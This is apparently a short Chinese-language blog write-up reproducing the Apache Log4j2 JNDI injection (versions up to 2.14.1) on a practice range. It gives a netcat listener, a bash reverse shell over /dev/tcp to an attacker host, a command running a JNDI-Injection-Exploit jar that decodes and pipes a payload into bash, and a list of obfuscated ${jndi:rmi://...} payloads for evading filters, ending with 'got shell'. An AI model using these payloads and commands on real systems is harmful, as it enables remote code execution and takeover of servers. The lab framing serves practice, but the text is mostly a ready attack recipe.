log4j2 反弹 shell

警告
本文最后更新于 2023-01-29,文中内容可能已过时。

漏洞描述

Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI 组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。

本次远程代码执行漏洞正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记录到日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中间的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。

影响版本 : Apache Log4j 2.x <= 2.14.1

环境准备

一台有公网 IP 的服务器,部署 java8 用于编译恶意 class 以及进行 ldap/rmi 转发 需要开放端口

复现

靶场来源 https://hack.zkaq.cn/battle

环境

先进行 nc 监听 nc -lvp 7677

然后将反弹 shell 进行 base64 编码

(冷知识:base64 编码的意义其实是为了传输在常见系统中的不可见字符,也就是显示为乱码的那些字符)

bash -i >& /dev/tcp/ip/port<&2

然后使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 进行编译以及提供 ldap 服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base编码内容}|{base64,-d}|{bash,-i}" -A "ip"

服务器

根据环境进行 poc 的选用

payload

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
${${::-j}ndi:rmi://127.0.0.1:1099/ass}
${jndi:rmi://qweewq.qweewq.qweewq}
${${lower:jndi}:${lower:rmi}://qweewq.qweewq.qweewq/poc}
${${lower:${lower:jndi}}:${lower:rmi}://qweewq.qweewq.qweewq/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://qweewq.qweewq.qweewq/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

got shell

GG

0%